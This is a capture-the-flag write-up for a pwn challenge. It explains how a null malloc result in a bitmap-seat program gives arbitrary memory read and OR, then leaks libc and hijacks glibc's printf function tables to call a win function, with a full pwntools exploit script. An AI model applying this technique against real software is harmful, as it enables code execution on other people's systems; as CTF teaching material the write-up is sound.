---
description: MAKE FLAGS GREAT AGAIN! HELP ME DEPORT THE ORANGES!
---

# Orange Deportation Simulator (pwn)

{% file src="https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2FFsamBI31y7xuIdUL5SMO%2Flibc.so.6?alt=media&token=c2166d80-6a89-41b4-afdc-e38f6f80a6a4" %}

{% file src="https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2FQGccFTksQyrSI8mZIzKD%2Fld-linux-x86-64.so.2?alt=media&token=d0758b59-b56c-4042-a53f-92190a2964c1" %}

{% file src="https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2FbTyt4B07o4mgLO1Sxkyg%2Fchal.c?alt=media&token=747dc07f-c880-454a-a28c-3ce09e089538" %}

{% file src="https://243380073-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBIa0PcXGYuP6chd3J1Ry%2Fuploads%2F4fCLf3eldF9jVEcGHeed%2Fchal?alt=media&token=05f51238-829e-472d-b7cf-b31028abdfaf" %}

checksec:

```
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3ff000)
RUNPATH:    b'.'
Stripped:   No
```

Here's the code of the program:

```c
//gcc chal.c -Wl,-z,relro,-z,now -o chal -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int win(){
    printf("Wow, you beat the deportation simulator!!! Have a flag!\n");
    system("cat flag.txt");
    _exit(0);
}
int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    printf("========================================\n");
    printf("|     ORANGE DEPORTATION SIMULATOR     |\n");
    printf("========================================\n");
    unsigned long long size;
    printf("Enter the number of seats on the plane: ");
    scanf("%lld", &size);

    unsigned long long num_bytes = (size + 7) / 8;
    uint8_t *bus = malloc(num_bytes);
    int choice;
    do {
        printf("\nMenu:\n");
        printf("1. Deport an orange\n");
        printf("2. Check if the orange is being deported\n");
        printf("3. Exit\n");
        printf("Enter your choice: ");
        scanf("%d", &choice);

        if (choice == 1) {
            unsigned long long seat;
            printf("Enter the seat number (0 to %lld): ", size - 1);
            scanf("%lld", &seat);
            if (seat < 0 || seat >= size) {
                printf("Invalid seat number!\n");
            } else {
                bus[seat / 8] |= (1 << (seat % 8));
                printf("Seat filled.\n");
            }
        } else if (choice == 2) {
            unsigned long long seat;
            printf("Enter the seat number to check (0 to %lld): ", size - 1);
            scanf("%lld", &seat);
            if (seat < 0 || seat >= size) {
                printf("Invalid seat number!\n");
            } else {
                if ((bus[seat / 8] & (1 << (seat % 8))) != 0) {
                    printf("Seat is occupied.\n");
                } else {
                    printf("Seat is empty.\n");
                }
            }
        } else if (choice != 3) {
            printf("Invalid choice! Please try again.\n");
        }

    } while (choice != 3);

    free(bus);
    _exit(0);
}

```

Scanning through the program, we realise that it allows us to:

1. Malloc a chunk of any size we want only once
2. Check any bit of our malloc'd chunk to see if it is set
3. Perform an OR operation on any bit of the malloc'd chunk

Essentially, the seat number we provide is represented as:

`(byte offset * 8) + bit_index`

Where the `byte offset` is the byte we want to read/OR relative to the start address of the chunk, and `bit_index` is the bit within that byte that we want to read/OR.

The key vulnerability lies in the fact that we can provide an arbitrarily large `size` value, so large that when we do `malloc(size)`, it returns a null pointer (`0`) due to it being unable to fulfill the request. This results in us having `bus = 0`. Inputting a negative number like `-8` will achieve this.

When `bus = 0` , and `size` is extremely large, notice that the read and OR functionality provided by the program essentially allows us to read and OR any bit we want in the program.&#x20;

Now the only address we know is the binary's address since PIE is disabled. Therefore our goal is to call `win` using the binary as a starting point. Remember that we do not have an arbitrary write primitive, but we have arbitrary read and arbitrary OR.

We can use our arbitrary read to read any entry in the binary's `.got.plt` section in order to get a libc leak.

How can we execute the `win` function?

I initially considered overwriting the exit functions, but this won't work since the program calls `_exit()` instead of `exit()`, so the exit functions aren't called.

Upon reading this article [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md) it seems that printf custom conversion specifiers are the way to go, because the two things it relies on, namely:

1. `__printf_function_table` and
2. `__printf_arginfo_table`&#x20;

initially have all their bits set to 0, so an arbitrary OR primitive will allow us to redirect execution to the `win` function.

How do we do this?

On reading the article, we learn that `__printf_function_table` must have a non-null value, and `__printf_arginfo_table` must have our function's address written in one of its slots corresponding to the conversion specifier we are using. (in this case we are using `%lld` . The `l` type modifier doesn't matter, and `d` has a hex value of `0x64`. So we want to write the address of `win` to `__printf_arginfo_table + 0x64 * 8` ). The `8` is because each address is 64 bits / 8 bytes.

But how do we find the offsets of `__printf_function_table` and `__printf_arginfo_table` in libc? When I tried to find them by doing `p & __printf_function_table` in GDB it cannot find the symbol. To find the offset, we have to look at the code and assembly of the `register_printf_specifier` function in libc:

```c
int
__register_printf_specifier (int spec, printf_function converter,
			     printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)
    {
      __set_errno (EINVAL);
      return -1;
    }
  int result = 0;
  __libc_lock_lock (lock);
  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
	calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
	{
	  result = -1;
	  goto out;
	}
      __printf_function_table = (printf_function **)
	(__printf_arginfo_table + UCHAR_MAX + 1);
    }
  __printf_function_table[spec] = converter; // reference to __printf_function_table here
  __printf_arginfo_table[spec] = arginfo; // reference to __printf_arginfo_table
 out:
  __libc_lock_unlock (lock);
  return result;
}
```

And note that we actually have the symbol for the `register_printf_specifier` function:

```
pwndbg> p &register_printf_specifier
$1 = (<text variable, no debug info> *) 0x70c3a3af8870 <register_printf_specifier>
```

With this we can look at the assembly of `register_printf_specifier`, and try to infer the offsets of `__printf_function_table` and `__printf_arginfo_table`.

Here's a small snippet of it:

<pre><code>   <a data-footnote-ref href="#user-content-fn-1">0x7ffff7e3a89a &#x3C;register_printf_specifier+42>:       mov    rdx,QWORD PTR [rip+0x17c0df]        # 0x7ffff7fb6980</a>
   0x7ffff7e3a8a1 &#x3C;register_printf_specifier+49>:       test   rdx,rdx
   0x7ffff7e3a8a4 &#x3C;register_printf_specifier+52>:       je     0x7ffff7e3a8d0 &#x3C;register_printf_specifier+96>
   <a data-footnote-ref href="#user-content-fn-2">0x7ffff7e3a8a6 &#x3C;register_printf_specifier+54>:       mov    rax,QWORD PTR [rip+0x17afe3]        # 0x7ffff7fb5890</a>
   0x7ffff7e3a8ad &#x3C;register_printf_specifier+61>:       mov    QWORD PTR [rdx+rbx*8],r12
   0x7ffff7e3a8b1 &#x3C;register_printf_specifier+65>:       mov    QWORD PTR [rax+rbx*8],rbp
   0x7ffff7e3a8b5 &#x3C;register_printf_specifier+69>:       xor    ebx,ebx
   0x7ffff7e3a8b7 &#x3C;register_printf_specifier+71>:       xor    eax,eax
   0x7ffff7e3a8b9 &#x3C;register_printf_specifier+73>:       xchg   DWORD PTR [rip+0x17c0c9],eax        # 0x7ffff7fb6988
   0x7ffff7e3a8bf &#x3C;register_printf_specifier+79>:       cmp    eax,0x1
   0x7ffff7e3a8c2 &#x3C;register_printf_specifier+82>:       jg     0x7ffff7e3a900 &#x3C;register_printf_specifier+144>
   0x7ffff7e3a8c4 &#x3C;register_printf_specifier+84>:       mov    eax,ebx
   0x7ffff7e3a8c6 &#x3C;register_printf_specifier+86>:       pop    rbx
   0x7ffff7e3a8c7 &#x3C;register_printf_specifier+87>:       pop    rbp
   0x7ffff7e3a8c8 &#x3C;register_printf_specifier+88>:       pop    r12
   0x7ffff7e3a8ca &#x3C;register_printf_specifier+90>:       ret
   0x7ffff7e3a8cb &#x3C;register_printf_specifier+91>:       nop    DWORD PTR [rax+rax*1+0x0]
   0x7ffff7e3a8d0 &#x3C;register_printf_specifier+96>:       mov    esi,0x10
   0x7ffff7e3a8d5 &#x3C;register_printf_specifier+101>:      mov    edi,0x100
   0x7ffff7e3a8da &#x3C;register_printf_specifier+106>:      call   0x7ffff7e08080 &#x3C;calloc@plt>
</code></pre>

With this we can find that the offset of `__printf_function_table` is `0x1d4980` and the offset of `__printf_arginfo_table` is `0x1d3890`.

Now let's summarise the exploit:

1. Enter a negative number as size to obtain `bus = 0`
2. Obtain a libc leak by using the arbitrary read primitive on the binary's `.got.plt` entry
3. Calculate the addresses of `__printf_function_table` and `__printf_arginfo_table`
4. Use arbitrary write to make `__printf_function_table` a non-null value and set the content in `__printf_arginfo_table + 0x64 * 8` to be the address of the `win` function.
5. Trigger a printf again and execute the `win` function

Below is my script:

```python
from pwn import *
# fill in binary name
elf = context.binary = ELF("./chal")
# fill in libc name
libc = ELF("./libc.so.6")
# fill in ld name
ld = ELF("./ld-linux-x86-64.so.2")

if args.REMOTE:
  # fill in remote address
  p = remote("34.124.170.181", 18809)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})

def write_bit(addr, bit):
    p.sendlineafter(b"choice: ", b"1")
    seat = addr * 8 + bit 
    p.sendlineafter(b"): ", str(seat).encode())


def read_bit(addr, bit):
    p.sendlineafter(b"choice: ", b"2")
    curtarget = addr * 8 + bit 
    p.sendlineafter(b"): ", str(curtarget).encode())
    # log.info(f"checking addr {hex(addr)} bit {bit}".encode())
    res = p.recvline()
    if b'empty' in res:
        return 0
    else:
        return 1


p.sendlineafter(b"plane: ", b"-8")
LIBC_FREE = 0
TARGET_READ = 0x403fb0 # .got.plt of the free function 
# overwriting got of free in libc WILL NOT WORK since it is already resolved
# overwriting exit funcs WILL NOT WORK since _exit is used
"""
goal: set __printf_function_table to non-null and write win func into __printf_arginfo_table 

both are referenced by the <register_printf_specifier> function

-> this is the ptr to __printf_function_table 0x7ffff7e3a89a <register_printf_specifier+42>:       mov    rdx,QWORD PTR [rip+0x17c0df]        # 0x7ffff7fb6980
   0x7ffff7e3a8a1 <register_printf_specifier+49>:       test   rdx,rdx
   0x7ffff7e3a8a4 <register_printf_specifier+52>:       je     0x7ffff7e3a8d0 <register_printf_specifier+96>
-> this is the ptr to __printf_arginfo_table 0x7ffff7e3a8a6 <register_printf_specifier+54>:       mov    rax,QWORD PTR [rip+0x17afe3]        # 0x7ffff7fb5890
   0x7ffff7e3a8ad <register_printf_specifier+61>:       mov    QWORD PTR [rdx+rbx*8],r12
   0x7ffff7e3a8b1 <register_printf_specifier+65>:       mov    QWORD PTR [rax+rbx*8],rbp
   0x7ffff7e3a8b5 <register_printf_specifier+69>:       xor    ebx,ebx
   0x7ffff7e3a8b7 <register_printf_specifier+71>:       xor    eax,eax
   0x7ffff7e3a8b9 <register_printf_specifier+73>:       xchg   DWORD PTR [rip+0x17c0c9],eax        # 0x7ffff7fb6988
   0x7ffff7e3a8bf <register_printf_specifier+79>:       cmp    eax,0x1
   0x7ffff7e3a8c2 <register_printf_specifier+82>:       jg     0x7ffff7e3a900 <register_printf_specifier+144>
   0x7ffff7e3a8c4 <register_printf_specifier+84>:       mov    eax,ebx
   0x7ffff7e3a8c6 <register_printf_specifier+86>:       pop    rbx
   0x7ffff7e3a8c7 <register_printf_specifier+87>:       pop    rbp
   0x7ffff7e3a8c8 <register_printf_specifier+88>:       pop    r12
   0x7ffff7e3a8ca <register_printf_specifier+90>:       ret
   0x7ffff7e3a8cb <register_printf_specifier+91>:       nop    DWORD PTR [rax+rax*1+0x0]
   0x7ffff7e3a8d0 <register_printf_specifier+96>:       mov    esi,0x10
   0x7ffff7e3a8d5 <register_printf_specifier+101>:      mov    edi,0x100
   0x7ffff7e3a8da <register_printf_specifier+106>:      call   0x7ffff7e08080 <calloc@plt>

pwndbg> x/32gx 0x7ffff7fb6980
0x7ffff7fb6980: 0x0000000000000000      0x0000000000000000
0x7ffff7fb6990: 0x0000000000000000      0x0000000000000000
"""
ctr = 0
# leak libc
for targetaddr in range(TARGET_READ, TARGET_READ + 8):
    for i in range(8):
        b = read_bit(targetaddr, i)
        LIBC_FREE |= (b << ctr)
        ctr += 1

log.success(f"libc_free: {hex(LIBC_FREE)}")
libc.address = LIBC_FREE - libc.sym['free']
log.success(f"libc addr: {hex(libc.address)}")
WIN = 0x401196
winbytes = p64(WIN)

PRINTF_FN_TABLE = libc.address + (0x7ffff7fb6980 - 0x7ffff7de2000)
PRINTF_ARGINFO_TABLE = libc.address + (0x7ffff7fb5890 - 0x7ffff7de2000)
# lld: 0x64 (because of d; the 'l' type modifier doesn't matter)
pl = p64(PRINTF_ARGINFO_TABLE)

# write the address of PRINTF_ARGINFO_TABLE into itself
for i in range(PRINTF_ARGINFO_TABLE, PRINTF_ARGINFO_TABLE+8):
    curbyte = pl[i-PRINTF_ARGINFO_TABLE]
    for j in range(8):
        if curbyte & (1 << j):
            write_bit(i, j)

# write address of win function into PRINTF_ARGINFO_TABLE + 0x64 * 8
TARGET = PRINTF_ARGINFO_TABLE + 0x64 * 8

for i in range(TARGET, TARGET+8):
    curbyte = winbytes[i-TARGET]
    for j in range(8):
        if curbyte & (1 << j):
            write_bit(i, j)

# set a bit at PRINTF_FN_TABLE to 1 so it is not NULL
write_bit(PRINTF_FN_TABLE, 0)

p.sendlineafter(b"choice: ", b"2") # trigger printf
p.interactive() # SSMCTF{0R4ngeS_D3porTEd_sUccessFu1Ly}
```

[^1]: ```
    this is the ptr to __printf_function_table
    ```

[^2]: ```
    this is the ptr to __printf_arginfo_table
    ```
